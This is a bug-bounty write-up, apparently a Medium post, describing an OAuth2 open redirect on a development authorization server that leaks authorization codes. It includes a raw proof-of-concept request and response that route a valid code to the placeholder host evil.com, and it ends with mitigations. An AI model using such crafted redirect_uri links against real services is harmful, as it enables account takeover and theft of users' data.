Recently discovered and responsibly disclosed a critical “OAuth2 open-redirect vulnerability”
Publié le - Dernière modification le
<h1 id="5250" class="pw-post-title yj gl yk z hb yl sn ym yn yo sp yp yq yr ys yt yu yv yw yx yy yz za zb zc zd cc" data-testid="storyTitle" data-selectable-paragraph="">Full Account Takeover via OAuth2 Open Redirect: How I Discovered a Critical OAuth2 Open Redirect on an Authorization Server</h1>
<p id="a53e" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph=""><em class="aep">OAuth2 Open Redirect Leading to Authorization Code Leakage</em></p>
<p id="10ca" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Lets dive into it:</p>
<p id="e4ac" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Few days ago, I had been invited to test a development environment at <strong class="adt hb">example.dev.com.</strong> At first glance, everything looked well-built and secure, there were no obvious vulnerabilities, no exposed debug pages, and nothing easy to exploit. Even after creating a test account and carefully exploring every visible feature, I couldn’t find anything useful at the surface level.</p>
<figure class="aet aeu aev aew aex aey aeq aer paragraph-image">
<div class="aeq aer aes"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*v6_itF97DBLbXEkA.gif 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*v6_itF97DBLbXEkA.gif 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*v6_itF97DBLbXEkA.gif 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*v6_itF97DBLbXEkA.gif 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*v6_itF97DBLbXEkA.gif 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*v6_itF97DBLbXEkA.gif 1100w, https://miro.medium.com/v2/resize:fit:500/format:webp/0*v6_itF97DBLbXEkA.gif 500w" type="image/webp" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 250px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/0*v6_itF97DBLbXEkA.gif 640w, https://miro.medium.com/v2/resize:fit:720/0*v6_itF97DBLbXEkA.gif 720w, https://miro.medium.com/v2/resize:fit:750/0*v6_itF97DBLbXEkA.gif 750w, https://miro.medium.com/v2/resize:fit:786/0*v6_itF97DBLbXEkA.gif 786w, https://miro.medium.com/v2/resize:fit:828/0*v6_itF97DBLbXEkA.gif 828w, https://miro.medium.com/v2/resize:fit:1100/0*v6_itF97DBLbXEkA.gif 1100w, https://miro.medium.com/v2/resize:fit:500/0*v6_itF97DBLbXEkA.gif 500w" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 250px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:250/0*v6_itF97DBLbXEkA.gif" alt="" width="690" height="187" /></picture></div>
</figure>
<p id="2437" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">But that wasn’t the end, I spent over 72 hours (3 days) on deep reconnaissance, gathering enough endpoints and parameters to thoroughly test. I trusted that all the effort and patience would eventually pay off.</p>
<h3 id="a5bd" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">The collections of my findings for this vulnerability:</strong></h3>
<p id="e557" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">/login?service=…&redirectTo=…/connect/logout?redirect_uri=…/user?lang=…/connect/logout?…&post_logout_redirect_uri=/callback?=/auth/aud?code=…&state=…/login?error=…/oauth2/authorize?access_type=…&client_id=…&code_challenge=….&code_challenge_method=…&login_hint=…&nonce=…<strong class="adt hb">redirect_uri=</strong>&response_type=code&scope=…&state=…/login?service=..&callback=/auth/callback?code=…&state=…</p>
<p id="8056" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Redirect parameters are always suspicious. Developers treat the referer and redirect parameters as “safe,” but both are fully user-controlled. So I tested them all one-by-one.Some returned <strong class="adt hb">500 Internal Server Error</strong>.Some ignored the redirect.Some sanitized the URL.Some replaced it with a safe fallback.</p>
<p id="70d4" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">But one endpoint kept bothering me, that was in <strong class="adt hb">Login endpoint</strong>. Clearly showing <strong class="adt hb">/oauth2/authorize?</strong> ……. and while reviewing the Burp history, I spotted this request:“/oauth2/authorize?access_type=…&client_id=…&code_challenge=….&code_challenge_method=…&login_hint=…&nonce=…<strong class="adt hb">redirect_uri=</strong>&response_type=code&scope=…&state=…”</p>
<figure class="aet aeu aev aew aex aey aeq aer paragraph-image">
<div class="afz aga bb agb bz agc" tabindex="0"><span class="be bf bg i bh bi bj bk bl speechify-ignore">Press enter or click to view image in full size</span>
<div class="aeq aer afy"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/1*kZqJx5dsdFZULQM4mNdFJg.png 1400w" type="image/webp" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/1*kZqJx5dsdFZULQM4mNdFJg.png 640w, https://miro.medium.com/v2/resize:fit:720/1*kZqJx5dsdFZULQM4mNdFJg.png 720w, https://miro.medium.com/v2/resize:fit:750/1*kZqJx5dsdFZULQM4mNdFJg.png 750w, https://miro.medium.com/v2/resize:fit:786/1*kZqJx5dsdFZULQM4mNdFJg.png 786w, https://miro.medium.com/v2/resize:fit:828/1*kZqJx5dsdFZULQM4mNdFJg.png 828w, https://miro.medium.com/v2/resize:fit:1100/1*kZqJx5dsdFZULQM4mNdFJg.png 1100w, https://miro.medium.com/v2/resize:fit:1400/1*kZqJx5dsdFZULQM4mNdFJg.png 1400w" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:700/1*kZqJx5dsdFZULQM4mNdFJg.png" alt="" width="690" height="378" /></picture></div>
</div>
<figcaption class="agd kt age aeq aer agf agg z b by u w" data-selectable-paragraph="">Finding of &redirect_uri</figcaption>
</figure>
<p id="b2bc" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">From this request, I found the redirect_uri very strange because the redirect_uri parameter basically “<em class="aep">The heart of OAuth security” </em>was exposed directly to user input.</p>
<figure class="aet aeu aev aew aex aey aeq aer paragraph-image">
<div class="aeq aer agh"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*FWSMn59IxAaUKc9J.gif 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*FWSMn59IxAaUKc9J.gif 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*FWSMn59IxAaUKc9J.gif 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*FWSMn59IxAaUKc9J.gif 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*FWSMn59IxAaUKc9J.gif 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*FWSMn59IxAaUKc9J.gif 1100w, https://miro.medium.com/v2/resize:fit:960/format:webp/0*FWSMn59IxAaUKc9J.gif 960w" type="image/webp" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 480px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/0*FWSMn59IxAaUKc9J.gif 640w, https://miro.medium.com/v2/resize:fit:720/0*FWSMn59IxAaUKc9J.gif 720w, https://miro.medium.com/v2/resize:fit:750/0*FWSMn59IxAaUKc9J.gif 750w, https://miro.medium.com/v2/resize:fit:786/0*FWSMn59IxAaUKc9J.gif 786w, https://miro.medium.com/v2/resize:fit:828/0*FWSMn59IxAaUKc9J.gif 828w, https://miro.medium.com/v2/resize:fit:1100/0*FWSMn59IxAaUKc9J.gif 1100w, https://miro.medium.com/v2/resize:fit:960/0*FWSMn59IxAaUKc9J.gif 960w" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 480px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:480/0*FWSMn59IxAaUKc9J.gif" alt="" width="690" height="360" /></picture></div>
</figure>
<h3 id="85be" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Malicious redirect_uri= https://evil.com</strong></h3>
<p id="235b" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">After that, I captured the request in Burp Suite and sent it to Repeater. I modified the parameter to <code class="cx agi agj agk agl b">&redirect_uri=https://evil.com</code>, and then tested the response. Boom, it immediately confirmed the issue:In response:</p>
<pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="a249" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">HTTP/2 302 FoundLocation: https://evil.com</span></pre>
<figure class="aet aeu aev aew aex aey aeq aer paragraph-image">
<div class="afz aga bb agb bz agc" tabindex="0"><span class="be bf bg i bh bi bj bk bl speechify-ignore">Press enter or click to view image in full size</span>
<div class="aeq aer agu"><picture><source srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1400w" type="image/webp" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" /><source srcset="https://miro.medium.com/v2/resize:fit:640/1*sX7gSQ4zAk8yEKVP7NiTSw.png 640w, https://miro.medium.com/v2/resize:fit:720/1*sX7gSQ4zAk8yEKVP7NiTSw.png 720w, https://miro.medium.com/v2/resize:fit:750/1*sX7gSQ4zAk8yEKVP7NiTSw.png 750w, https://miro.medium.com/v2/resize:fit:786/1*sX7gSQ4zAk8yEKVP7NiTSw.png 786w, https://miro.medium.com/v2/resize:fit:828/1*sX7gSQ4zAk8yEKVP7NiTSw.png 828w, https://miro.medium.com/v2/resize:fit:1100/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1100w, https://miro.medium.com/v2/resize:fit:1400/1*sX7gSQ4zAk8yEKVP7NiTSw.png 1400w" sizes="auto, (min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" data-testid="og" /><img class="bz adc aez c" src="https://miro.medium.com/v2/resize:fit:700/1*sX7gSQ4zAk8yEKVP7NiTSw.png" alt="" width="690" height="296" /></picture></div>
</div>
<figcaption class="agd kt age aeq aer agf agg z b by u w" data-selectable-paragraph="">Request & Response of redirect_uri: <a class="as kf" href="https://evil.com/" target="_blank" rel="noopener ugc nofollow">https://evil.com</a></figcaption>
</figure>
<p id="dbbd" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph=""><strong class="adt hb">Proof-of-concept (POC):</strong></p>
<pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="44ae" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">GET /oauth2/authorize?access_type=offline&client_id=7730519a-a50e-4fba-baf2-6cb95db42c98&code_challenge=DpMnL18dxhUFvCupr3IEwWV-86MxEX2FDsrXFsdJ8Jc&code_challenge_method=S256&login_hint=idporten&nonce=vRxCxTuGqkbgvmSzd8EoG0Kw5m4mEhaBUvqVyPDaRSggY8X1-cfcqpAf6SFoWiSw-R28Jis_yOwIR4CFjbNu4w%3D<span class="hljs-variable">%3D</span>&redirect_uri=https:<span class="hljs-regexp">//</span>evil.com&response_type=code&scope=openid+profile&<span class="hljs-keyword">state</span>=7n0OWeXkcL4AbjsRq0rnvP0lMrj4XHBBHTiY71Osya8zE9rSRv0CGRhNhMKfUYpowit3Y_pA_OIYr34hW5Yq1g%3D<span class="hljs-variable">%3D</span>&<span class="hljs-keyword">continue</span> HTTP/<span class="hljs-number">2</span>Host: example.dev.comCookie: PrivacyPolicyOptOut=yes; UsageAnalysisConsent=yes; uio_ga_LMC74K4H2X=GS2.<span class="hljs-number">2</span>.s1777830484<span class="hljs-variable">$o</span>6<span class="hljs-variable">$g</span>1<span class="hljs-variable">$t177783060</span>0<span class="hljs-variable">$j5</span>8<span class="hljs-variable">$l</span>0<span class="hljs-variable">$h0</span>; uio_ga=GA1.<span class="hljs-number">2.1404307975</span><span class="hljs-number">.1777562125</span>; uio_ga_0QSC3B0MRP=GS2.<span class="hljs-number">1</span>.s1777830485<span class="hljs-variable">$o</span>6<span class="hljs-variable">$g</span>0<span class="hljs-variable">$t177783053</span>5<span class="hljs-variable">$j1</span>0<span class="hljs-variable">$l</span>0<span class="hljs-variable">$h0</span>; SESSION=Y2QxN2I0OWEtYWNlMS00MTE0LWE0ODktNWU2MWRkZTYwMWQ1User-Agent: Mozilla/<span class="hljs-number">5.0</span> (Windows NT <span class="hljs-number">10.0</span>; Win64; x64; rv:<span class="hljs-number">150.0</span>) Gecko/<span class="hljs-number">20100101</span> Firefox/<span class="hljs-number">150.0</span>Accept: text/html,application/xhtml+xml,application/xml;<span class="hljs-keyword">q</span>=<span class="hljs-number">0</span>.<span class="hljs-number">9</span>,*<span class="hljs-regexp">/*;q=0.8Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brReferer: https:/</span>/login.example.dev.comUpgrade-Insecure-Requests: <span class="hljs-number">1</span>Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-sitePriority: u=<span class="hljs-number">0</span>, iTe: trailers</span></pre>
<pre class="tx agm agl agn ra ago bv cc"><span id="59cd" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph=""><span class="hljs-string">HTTP/2</span> <span class="hljs-number">302</span> <span class="hljs-string">Found</span><span class="hljs-attr">Server:</span> <span class="hljs-string">nginx</span><span class="hljs-attr">Date:</span> <span class="hljs-string">Mon,</span> <span class="hljs-number">04</span> <span class="hljs-string">May</span> <span class="hljs-number">2026 17:29:48 </span><span class="hljs-string">GMT</span><span class="hljs-attr">Content-Length:</span> <span class="hljs-number">0</span><span class="hljs-attr">Strict-Transport-Security:</span> <span class="hljs-string">max-age=31536000</span> <span class="hljs-string">;</span> <span class="hljs-string">includeSubDomains</span><span class="hljs-attr">Location:</span> <span class="hljs-string">https://evil.com?code=JCXUjVn0NWe5gYxmEkqotrWqChyQG_vE-YgORup-BRx2VMPfoly1Dq2yjQyYUS47Wh_YNY_Rex39KaxJwG9EtYDNo3n4IElpnMmF5F7U21aV731hTiWgjvWlqcYWn3Fj&state=7n0OWeXkcL4AbjsRq0rnvP0lMrj4XHBBHTiY71Osya8zE9rSRv0CGRhNhMKfUYpowit3Y_pA_OIYr34hW5Yq1g%3D%3D</span><span class="hljs-attr">Uio-Cache-Status:</span> <span class="hljs-string">MISS</span><span class="hljs-attr">Cache-Control:</span> <span class="hljs-literal">no</span><span class="hljs-string">-store,</span> <span class="hljs-literal">no</span><span class="hljs-string">-cache,</span> <span class="hljs-string">max-age=0,</span> <span class="hljs-string">must-revalidate</span></span></pre>
<p id="f212" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">This clearly showed that the application was blindly accepting unvalidated redirect URIs and redirecting the response to an attacker-controlled domain.</p>
<p id="747f" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">My eyes widened.</p>
<p id="6d57" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">The server had not only accepted the malicious redirect URI…It <strong class="adt hb">attached a fully valid OAuth2 authorization code</strong> to it.</p>
<p id="3a93" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">At that moment, the vulnerability was confirmed:</p>
<h3 id="fc9c" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph="">✔️ Critical Open Redirect on OAuth2 Authorization Server</h3>
<h3 id="a423" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph="">✔️ Authorization Code Leakage</h3>
<h3 id="b2fa" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph="">✔️ Full Account Takeover Possible</h3>
<p id="46a4" class="pw-post-body-paragraph adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ml cc" data-selectable-paragraph="">This wasn’t a simple redirect bug. Beside, this was an <strong class="adt hb"><em class="aep">OAuth catastrophe </em></strong><em class="aep">b</em>ecause the authorization code is gold, with that code:</p>
<p id="8335" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Anyone who receives it can:</p>
<ol class="">
<li id="4492" class="adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo agv agw agx cc" data-selectable-paragraph="">Exchange it for an access token</li>
<li id="f568" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo agv agw agx cc" data-selectable-paragraph="">Log in as the victim</li>
<li id="732f" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo agv agw agx cc" data-selectable-paragraph="">Access their forms, data, and resources</li>
<li id="531c" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo agv agw agx cc" data-selectable-paragraph="">Completely compromise their account</li>
</ol>
<p id="d37e" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph=""><em class="aep">“No phishing, No malware, Just one click.”</em></p>
<div class="ub am">
<div class="e"><a class="as x au ci aw ab ax i ac ae af ag ah ai aj am" href="https://medium.com/download-app?source=promotion_paragraph---post_body_banner_surround_scribble--9308109f4992---------------------------------------" rel="noopener follow" data-discover="true"><picture><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/0772311393789e9de0647f3f21b8c49e8885f7fad633b7afb9bf5910028a207d" media="(max-width: 551.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/0772311393789e9de0647f3f21b8c49e8885f7fad633b7afb9bf5910028a207d" media="(min-width: 552px) and (max-width: 727.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/34e7314e7989e2483bccb653684e8b94b7c067779fde984447324e44fda1b2ce" media="(min-width: 728px) and (max-width: 903.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/34e7314e7989e2483bccb653684e8b94b7c067779fde984447324e44fda1b2ce" media="(min-width: 904px) and (max-width: 1079.98px)" /><source srcset="https://miro.medium.com/v2/da:true/resize:fit:0/34e7314e7989e2483bccb653684e8b94b7c067779fde984447324e44fda1b2ce" media="(min-width: 1080px)" /><img class="bz" alt="Download the Medium app" width="690" /></picture></a></div>
</div>
<p id="41e6" class="pw-post-body-paragraph adr ads yk adt b adu adw adx ady aea aeb aec aee aef aeg aei aej aek aem aen ub aeo ml cc" data-selectable-paragraph="">**Sigh**</p>
<p id="6120" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">Finally, as I mentioned earlier, the hard work eventually paid off and it truly did. After 72 hours of deep recon, parameter fuzzing, and redirect testing, the breakthrough came from a single OAuth2 endpoint:</p>
<pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="108b" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">/oauth2/authorize?redirect_uri=https://evil.com</span></pre>
<p id="bc5a" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">The server <strong class="adt hb">accepted the attacker-controlled redirect_uri</strong> and responded with:</p>
<pre class="aet aeu aev aew aex agm agl agn ra ago bv cc"><span id="efb2" class="agp afb yk agl b by agq agr e ags agt" data-selectable-paragraph="">302 FoundLocation: https://evil.com?code=<VALID_AUTHORIZATION_CODE></span></pre>
<p id="fc4f" class="pw-post-body-paragraph adr ads yk adt b adu adv adw adx ady adz aea aeb aec aed aee aef aeg aeh aei aej aek ael aem aen aeo ml cc" data-selectable-paragraph="">If there’s one thing this finding taught me, it’s that <strong class="adt hb">deep reconnaissance decides everything</strong>. Spending 72+ hours mapping endpoints and testing parameters gave me a clear understanding of the application. Deep reconnaissance was the key to this finding.</p>
<h3 id="15fe" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Why This Vulnerability Was Significant:</strong></h3>
<ul class="">
<li id="b8c6" class="adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ahd agw agx cc" data-selectable-paragraph="">Allowed <strong class="adt hb">full account takeover</strong> through stolen OAuth authorization codes.</li>
<li id="8c23" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">No strict redirect_uri validation</strong>, breaking core OAuth security.</li>
<li id="507a" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">Affected <strong class="adt hb">all example.com users</strong>, including sensitive research and personal data.</li>
<li id="83f5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph="">Victim only had to <strong class="adt hb">click one legit-looking OAuth link</strong>.</li>
<li id="14a5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">High GDPR risk</strong> due to potential exposure of personal data.</li>
<li id="eed5" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Easy, scalable exploit</strong> using a single crafted URL.</li>
</ul>
<h3 id="6596" class="afa afb yk z afc afd afe aff nw afg afh afi of aec afj afk afl aeg afm afn afo aek afp afq afr afs cc" data-selectable-paragraph=""><strong class="ax">Recommended Mitigations:</strong></h3>
<ul class="">
<li id="35aa" class="adr ads yk adt b adu aft adw adx ady afu aea aeb aec afv aee aef aeg afw aei aej aek afx aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Enforce strict redirect_uri whitelisting, </strong>reject any URI not exactly registered for the client.</li>
<li id="b7d8" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Invalidate all authorization codes</strong> issued to unregistered or unsafe redirect URIs.</li>
<li id="7ffb" class="adr ads yk adt b adu agy adw adx ady agz aea aeb aec aha aee aef aeg ahb aei aej aek ahc aem aen aeo ahd agw agx cc" data-selectable-paragraph=""><strong class="adt hb">Audit OAuth logs</strong> for unusual authorization flows or non-whitelisted redirect URIs.</li>
